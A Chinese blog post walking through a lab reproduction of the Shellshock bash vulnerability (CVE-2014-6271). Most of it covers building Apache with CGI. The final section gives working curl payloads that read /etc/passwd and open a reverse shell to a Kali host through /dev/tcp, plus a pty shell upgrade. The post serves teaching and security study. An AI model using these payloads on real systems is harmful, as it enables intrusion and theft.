CVE-2014-6271——bash破壳漏洞复现

rhel:192.168.168.177
kali:192.168.168.170

(1)检查是否存在bash漏洞
env x=’() { :;}; echo vulnerable’ bash -c “echo this is a test”

CVE-2014-6271——bash破壳漏洞复现

(2)编译安装、配置apache服务

可以参考我的另外一篇博客
https://blog.csdn.net/per_se_veran_ce/article/details/98041610

6,color_FFFFFF,t_70)
修改Apache配置文件
vim /usr/local/httpd/conf/httpd.conf
(1)查看是否为编译安装的Apache,用户,组默认为daemon。

CVE-2014-6271——bash破壳漏洞复现

(2)服务器名localhost

CVE-2014-6271——bash破壳漏洞复现

(3)修改网页文件跟目录为/usr/local/httpd/cgi-bin
因为安装好的测试文件放在这个目录下

CVE-2014-6271——bash破壳漏洞复现

(4)允许通过mod_cgi模块执行CGI脚本

CVE-2014-6271——bash破壳漏洞复现

(5)允许使用 mod_negotiation模块提供内容协商的"多重视图"。

如果客户端请求的路径可能对应多种类型的文件,那么服务器将根据客户端请求的具体情况自动选择一个最匹配客户端要求的文件。
CVE-2014-6271——bash破壳漏洞复现

(6)ScriptAlias指令使Apache允许执行一个特定目录中的CGI程序
CVE-2014-6271——bash破壳漏洞复现
(7)Options配置在特定目录使用哪些特性

ExecCGI: 在该目录下允许执行CGI脚本。
FollowSymLinks: 在该目录下允许文件系统使用符号连接。
SymLinksIfOwnerMatch: 当使用符号连接时,只有当符号连接的文件拥有者与实际文件的拥有者相同时才可以访问。
CVE-2014-6271——bash破壳漏洞复现

(8)ScriptAlias指令使Apache允许执行一个特定目录中的CGI程序
CVE-2014-6271——bash破壳漏洞复现

(9)开启Apache的CGI功能

CVE-2014-6271——bash破壳漏洞复现

(10)保存退出,重启服务

service httpd restart

安装配置CGI

Web 服务器只能生成静态内容,而用户请求动态内容时,Web服务器只能借助一些应用程序来实现。CGI时一套标准,它规定了Web服务器和应用程序之间的交互方式。

静态内容:web 服务器读取一个磁盘文件,并将其内容返回给客户端。磁盘文件的称为静态内容,而返回文件给客户端的过程称为服务静态内容。

动态内容:web服务器运行一个可执行程序,并将它的输出结果返回给客户端。运行时可执行文件产生的输出称为动态内容。而运行程序并返回它的输出到客户端的过程称为服务动态内容。

在对客户端请求的处理过程中,web服务器扮演着应用网关的角色。它接受来自客户端的请求,将客户端请求转为一个CGI请求,然后选择一个可执行文件(CGI脚本)去处理CGI请求。CGI脚本的执行结果称为CGI响应,web服务器将CGI响应转为客户端响应,将其发送给客户端。在实际应用中,web服务器负责处理与客户端请求有关的传输和网络问题,它会根据CGI标准将请求中一些参数写到环境变量中,然后CGI脚本从环境变量和标准输入中读取数据、处理数据、向标准输出输出数据。

在安装apache 之后,并不包含cgi 模块,需要自行"添加"CGI模块

(1)下载pcre压缩包,拖进虚拟机,下载地址为:

https://sourceforge.net/projects/pcre/
unzip pcre2-10.33.zip 先解压
cd pcre2-10.33 切换进文件
./configure --prefix=/usr/local/pcre 指定路径编译安装
make && make install
查看是否安装好
CVE-2014-6271——bash破壳漏洞复现

(2)安装之前需要配置 configure 命令如下:(可在源文件中的 modules 文件夹下面找到mod_cgi.c )

CVE-2014-6271——bash破壳漏洞复现

 ./configure --with-module=module_type:/usr/src/httpd-2.2.17/modules/generators/mod_cgi.c --enable-cgi --with-pcre=/usr/local/pcre
 make &&make install

(3)cd /usr/local/bin 找到apachectl 可执行文件,执行命令

CVE-2014-6271——bash破壳漏洞复现

./apachectl -M 显示已安装的模块

看到有 cgi_module (static) 说明已经安装成功(此方法安装CGI 是内置模块,不需要在httpd.conf 中 再次LoadModule 了)
CVE-2014-6271——bash破壳漏洞复现

(4)./bin/apachectl -k restart 重启生效

CVE-2014-6271——bash破壳漏洞复现

(5)vim /usr/local/httpd/cgi-bin/test-cgi 修改执行路径

CVE-2014-6271——bash破壳漏洞复现

修改脚本权限为777

CVE-2014-6271——bash破壳漏洞复现

(6)查看apache是否安装配置好,默认网站页面路径为/usr/local/httpd/cgi-bin

CVE-2014-6271——bash破壳漏洞复现CVE-2014-6271——bash破壳漏洞复现

打开攻击机kali

curl -H ‘x: () { :;};a=/bin/cat /etc/passwd;echo $a’ ‘http://192.168.168.177/cgi-bin/test-cgi’ -I
CVE-2014-6271——bash破壳漏洞复现
CVE-2014-6271——bash破壳漏洞复现
kali 开启终端监听,端口自己设置为3333

curl -H ‘X:() { :;}; /bin/bash -i >& /dev/tcp/192.168.168.170/3333 0>&1’ http://192.168.168.177/cgi-bin/test-cgi
CVE-2014-6271——bash破壳漏洞复现
CVE-2014-6271——bash破壳漏洞复现
python -c ‘import pty;pty.spawn("/bin/bash")’ python 打开一个/bin/bash

rpm安装的Apache
网站根目录为/var/www/html
作为DSO动态加载的模块,Apache自带的apxs工具,可以在不重新编译Apache的前提下,给Apache添加模块。
CVE-2014-6271——bash破壳漏洞复现
CVE-2014-6271——bash破壳漏洞复现
其余步骤与上述类似

上一篇:python+requests 百度翻译接口测试


下一篇:「JOI 2014 Final」飞天鼠